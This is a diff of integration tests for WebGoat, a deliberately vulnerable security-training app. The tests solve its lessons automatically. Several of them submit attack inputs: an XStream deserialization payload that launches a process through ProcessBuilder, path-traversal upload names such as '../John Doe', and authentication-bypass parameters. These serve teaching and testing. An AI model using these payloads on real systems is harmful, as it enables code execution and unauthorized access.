params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password"));
}
}

View File

@ -14,16 +14,16 @@ import java.util.Map;
import javax.xml.bind.DatatypeConverter; import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.owasp.webgoat.crypto.CryptoUtil; import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.crypto.HashingAssignment; import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
import io.restassured.RestAssured; import io.restassured.RestAssured;
public class CryptoTest extends IntegrationTest { public class CryptoIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() { public void runTests() {
startLesson("Crypto"); startLesson("Cryptography");
checkAssignment2(); checkAssignment2();
checkAssignment3(); checkAssignment3();

View File

@ -1,14 +1,14 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder; public class DeserializationIntegrationTest extends IntegrationTest {
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.deserialization.SerializationHelper;
public class DeserializationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase(); private static String OS = System.getProperty("os.name").toLowerCase();

View File

@ -0,0 +1,210 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import org.springframework.util.StringUtils;
public class GeneralLessonIntegrationTest extends IntegrationTest {
@Test
public void httpBasics() {
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(url("HttpBasics/attack1"), params, true);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "4");
checkAssignment(url("HttpBasics/attack2"), params, false);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "33");
checkAssignment(url("HttpBasics/attack2"), params, true);
checkResults("/HttpBasics/");
}
@Test
public void httpProxies() {
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("/HttpProxies/");
}
@Test
public void cia() {
startLesson("CIA");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put(
"question_0_solution",
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
params.put(
"question_1_solution",
"Solution 1: By changing the names and emails of one or more users stored in a database.");
params.put(
"question_2_solution",
"Solution 4: By launching a denial of service attack on the servers.");
params.put(
"question_3_solution",
"Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(url("/WebGoat/cia/quiz"), params, true);
checkResults("/cia/");
}
@Test
public void vulnerableComponents() {
if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
String solution =
"<contact class='dynamic-proxy'>\n"
+ "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
+ " <handler class='java.beans.EventHandler'>\n"
+ " <target class='java.lang.ProcessBuilder'>\n"
+ " <command>\n"
+ " <string>calc.exe</string>\n"
+ " </command>\n"
+ " </target>\n"
+ " <action>start</action>\n"
+ " </handler>\n"
+ "</contact>";
startLesson("VulnerableComponents");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("payload", solution);
checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
checkResults("/VulnerableComponents/");
}
}
@Test
public void insecureLogin() {
startLesson("InsecureLogin");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "CaptainJack");
params.put("password", "BlackPearl");
checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
checkResults("/InsecureLogin/");
}
@Test
public void securePasswords() {
startLesson("SecurePasswords");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords/");
startLesson("AuthBypass");
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(
url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("/HttpProxies/");
}
@Test
public void chrome() {
startLesson("ChromeDevTools");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
params.clear();
params.put("number", "24");
params.put("network_num", "24");
checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
checkResults("/ChromeDevTools/");
}
@Test
public void authByPass() {
startLesson("AuthBypass");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
}
@Test
public void lessonTemplate() {
startLesson("LessonTemplate");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "secr37Value");
params.put("param2", "Main");
checkAssignment(url("/lesson-template/sample-attack"), params, true);
checkResults("/lesson-template/");
}
}

View File

@ -19,7 +19,7 @@ import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import lombok.SneakyThrows; import lombok.SneakyThrows;
public class IDORTest extends IntegrationTest { public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach @BeforeEach
@SneakyThrows @SneakyThrows

View File

@ -3,99 +3,51 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import lombok.Getter; import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.BeforeAll;
import org.owasp.webwolf.WebWolf;
import org.springframework.boot.builder.SpringApplicationBuilder;
import java.io.IOException;
import java.net.Socket;
import java.util.Map; import java.util.Map;
import java.util.UUID; import java.util.Objects;
import static io.restassured.RestAssured.given; import static io.restassured.RestAssured.given;
@Slf4j
public abstract class IntegrationTest { public abstract class IntegrationTest {
protected static int WG_PORT = 8080; private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
protected static int WW_PORT = 9090; @Getter
private static String WEBGOAT_HOSTNAME = "127.0.0.1";//"www.webgoat.local"; private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static String WEBWOLF_HOSTNAME = "127.0.0.1";//"www.webwolf.local"; private static boolean useSSL = false;
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
/* private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
* To test docker compose/stack solution:
* add localhost settings in hosts file: 127.0.0.1 www.webgoat.local www.webwolf.local
* Then set the above values to the specified host names and set the port to 80
*/
private static String WEBGOAT_HOSTHEADER = WEBGOAT_HOSTNAME +":"+WG_PORT;
private static String WEBWOLF_HOSTHEADER = WEBWOLF_HOSTNAME +":"+WW_PORT;
private static String WEBGOAT_URL = "http://" + WEBGOAT_HOSTHEADER + "/WebGoat/";
private static String WEBWOLF_URL = "http://" + WEBWOLF_HOSTHEADER + "/";
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
@Getter @Getter
private String webGoatCookie; private String webGoatCookie;
@Getter @Getter
private String webWolfCookie; private String webWolfCookie;
@Getter @Getter
private String webgoatUser = UUID.randomUUID().toString(); private String user = "webgoat";
private static boolean started = false;
@BeforeAll
public static void beforeAll() {
if (WG_SSL) {
WEBGOAT_URL = WEBGOAT_URL.replace("http:", "https:");
}
if (!started) {
started = true;
if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
wgs.run();
}
if (!isAlreadyRunning(WW_PORT)) {
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
.properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
wws.run();
}
}
}
private static boolean isAlreadyRunning(int port) {
try (var ignored = new Socket("127.0.0.1", port)) {
return true;
} catch (IOException e) {
return false;
}
}
protected String url(String url) { protected String url(String url) {
url = url.replaceFirst("/WebGoat/", ""); url = url.replaceFirst("/WebGoat/", "");
url = url.replaceFirst("/WebGoat", ""); url = url.replaceFirst("/WebGoat", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url; url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return WEBGOAT_URL + url; return webgoatUrl + url;
} }
protected String webWolfUrl(String url) { protected String webWolfUrl(String url) {
url = url.replaceFirst("/WebWolf/", "");
url = url.replaceFirst("/WebWolf", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url; url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return WEBWOLF_URL + url; return webWolfUrl + url;
} }
@BeforeEach @BeforeEach
public void login() { public void login() {
String location = given() String location = given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login")).then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
@ -105,7 +57,7 @@ public abstract class IntegrationTest {
webGoatCookie = RestAssured.given() webGoatCookie = RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")
@ -119,7 +71,7 @@ public abstract class IntegrationTest {
webGoatCookie = given() webGoatCookie = given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login")).then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
@ -130,12 +82,12 @@ public abstract class IntegrationTest {
webWolfCookie = RestAssured.given() webWolfCookie = RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(WEBWOLF_URL + "login") .post(webWolfUrl("login"))
.then() .then()
.cookie("WEBWOLFSESSION")
.statusCode(302) .statusCode(302)
.cookie("WEBWOLFSESSION")
.extract() .extract()
.cookie("WEBWOLFSESSION"); .cookie("WEBWOLFSESSION");
} }
@ -150,13 +102,8 @@ public abstract class IntegrationTest {
.statusCode(200); .statusCode(200);
} }
/**
* At start of a lesson. The .lesson.lesson is visited and the lesson is reset.
*
* @param lessonName
*/
public void startLesson(String lessonName) { public void startLesson(String lessonName) {
startLesson(lessonName, true); startLesson(lessonName, false);
} }
public void startLesson(String lessonName, boolean restart) { public void startLesson(String lessonName, boolean restart) {
@ -179,15 +126,6 @@ public abstract class IntegrationTest {
} }
} }
/**
* Helper method for most common type of test.
* POST with parameters.
* Checks for 200 and lessonCompleted as indicated by expectedResult
*
* @param url
* @param params
* @param expectedResult
*/
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) { public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
@ -201,15 +139,6 @@ public abstract class IntegrationTest {
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
} }
/**
* Helper method for most common type of test.
* PUT with parameters.
* Checks for 200 and lessonCompleted as indicated by expectedResult
*
* @param url
* @param params
* @param expectedResult
*/
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) { public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
@ -264,7 +193,6 @@ public abstract class IntegrationTest {
} }
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) { public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
log.info("Checking assignment for: {}", url);
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
@ -277,40 +205,26 @@ public abstract class IntegrationTest {
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
} }
public String getWebGoatServerPath() throws IOException { public String getWebWolfFileServerLocation() {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/xxe/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
public String getWebWolfServerPath() throws IOException {
//read path from server
String result = RestAssured.given() String result = RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/tmpdir")) .get(webWolfUrl("/file-server-location"))
.then() .then()
.extract().response().getBody().asString(); .extract().response().getBody().asString();
result = result.replace("%20", " "); result = result.replace("%20", " ");
return result; return result;
} }
/** public String webGoatServerDirectory() {
* In order to facilitate tests with return RestAssured.given()
* @return .when()
*/ .relaxedHTTPSValidation()
public String getWebWolfHostHeader() { .cookie("JSESSIONID", getWebGoatCookie())
return WEBWOLF_HOSTHEADER; .get(url("/server-directory"))
.then()
.extract().response().getBody().asString();
} }
} }

View File

@ -14,7 +14,6 @@ import java.util.Map;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint;
import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.ObjectMapper;
@ -28,12 +27,12 @@ import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm; import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec; import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonTest extends IntegrationTest { public class JWTLessonIntegrationTest extends IntegrationTest {
@Test @Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
startLesson("JWT"); startLesson("JWT");
decodingToken(); decodingToken();
@ -49,7 +48,6 @@ public class JWTLessonTest extends IntegrationTest {
quiz(); quiz();
checkResults("/JWT/"); checkResults("/JWT/");
} }
private String generateToken(String key) { private String generateToken(String key) {

View File

@ -0,0 +1,170 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import io.restassured.path.json.JsonPath;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.List;
import java.util.Properties;
public class LabelAndHintIntegrationTest extends IntegrationTest {
final static String ESCAPE_JSON_PATH_CHAR = "\'";
@Test
public void testSingleLabel() {
Assertions.assertTrue(true);
JsonPath jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","nl")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","xx_YY")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
}
@Test
public void testHints() {
JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons = List.of(
"HttpBasics",
"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
"Challenge1");
for (String lesson: allLessons) {
startLesson(lesson);
List<String> hintKeys = getHints();
for (String key : hintKeys) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
//System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue);
}
}
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
}
@Test
public void testLabels() {
JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties("");
for (String key: propsDefault.stringPropertyNames()) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue);
}
checkLang(propsDefault,"nl");
checkLang(propsDefault,"de");
checkLang(propsDefault,"fr");
checkLang(propsDefault,"ru");
}
private Properties getProperties(String lang) {
Properties prop = null;
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
prop = new Properties();
// load a properties file
prop.load(input);
} catch (Exception e) {
e.printStackTrace();
}
return prop;
}
private void checkLang(Properties propsDefault, String lang) {
JsonPath jsonPath = getLabels(lang);
Properties propsLang = getProperties(lang);
for (String key: propsLang.stringPropertyNames()) {
if (!propsDefault.containsKey(key)) {
System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
Assertions.fail();
}
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: "+propsLang.getProperty(key));
System.out.println();
Assertions.fail();
}
}
}
private JsonPath getLabels(String lang) {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language",lang)
.cookie("JSESSIONID", getWebGoatCookie())
//.log().headers()
.get(url("service/labels.mvc"))
.then()
//.log().all()
.statusCode(200).extract().jsonPath();
}
private List<String> getHints() {
JsonPath jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/hint.mvc"))
.then()
//.log().all()
.statusCode(200).extract().jsonPath();
return jsonPath.getList("hint");
}
}

View File

@ -15,7 +15,7 @@ import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import java.util.Arrays; import java.util.Arrays;
import java.util.Map; import java.util.Map;
public class PasswordResetLessonTest extends IntegrationTest { public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach @BeforeEach
@SneakyThrows @SneakyThrows
@ -24,9 +24,9 @@ public class PasswordResetLessonTest extends IntegrationTest {
} }
@TestFactory @TestFactory
Iterable<DynamicTest> testPathTraversal() { Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList( return Arrays.asList(
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailabeInWebWolf()), dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()), dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
dynamicTest("assignment 2 - simple reset",()-> assignment2()), dynamicTest("assignment 2 - simple reset",()-> assignment2()),
dynamicTest("assignment 4 - guess questions",()-> assignment4()), dynamicTest("assignment 4 - guess questions",()-> assignment4()),
@ -34,18 +34,15 @@ public class PasswordResetLessonTest extends IntegrationTest {
); );
} }
public void assignment2() { public void assignment2() {
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", getWebgoatUser()+"@webgoat.org"), false); checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", getWebgoatUser()+"@webgoat.org", "password", StringUtils.reverse(getWebgoatUser())), true);
} }
public void assignment4() { public void assignment4() {
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true); checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
} }
public void assignment5() { public void assignment5() {
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false); checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true); checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
} }
@ -63,9 +60,8 @@ public class PasswordResetLessonTest extends IntegrationTest {
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true); checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
} }
public void sendEmailShouldBeAvailabeInWebWolf() { public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
clickForgotEmailLink(getWebgoatUser() + "@webgoat.org");
var responseBody = RestAssured.given() var responseBody = RestAssured.given()
.when() .when()
@ -100,7 +96,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
.extract().response().getBody().asString(); .extract().response().getBody().asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/"); int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
@ -111,7 +107,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
private void clickForgotEmailLink(String user) { private void clickForgotEmailLink(String user) {
RestAssured.given() RestAssured.given()
.when() .when()
.header("host", getWebWolfHostHeader()) .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user) .formParams("email", user)

View File

@ -24,7 +24,7 @@ import java.util.zip.ZipOutputStream;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
class PathTraversalITTest extends IntegrationTest { class PathTraversalIT extends IntegrationTest {
@TempDir @TempDir
Path tempDir; Path tempDir;
@ -58,7 +58,7 @@ class PathTraversalITTest extends IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe") .param("fullName", "../John Doe")
.post("/WebGoat/PathTraversal/profile-upload") .post(url("/WebGoat/PathTraversal/profile-upload"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -72,7 +72,7 @@ class PathTraversalITTest extends IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe") .param("fullNameFix", "..././John Doe")
.post("/WebGoat/PathTraversal/profile-upload-fix") .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -85,7 +85,7 @@ class PathTraversalITTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.post("/WebGoat/PathTraversal/profile-upload-remove-user-input") .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -97,22 +97,23 @@ class PathTraversalITTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(uri) .get(url(uri))
.then() .then()
.statusCode(200) .statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment("/WebGoat/PathTraversal/random", Map.of("secret", Sha512DigestUtils.shaHex(getWebgoatUser())), true); checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
Sha512DigestUtils.shaHex(this.getUser())), true);
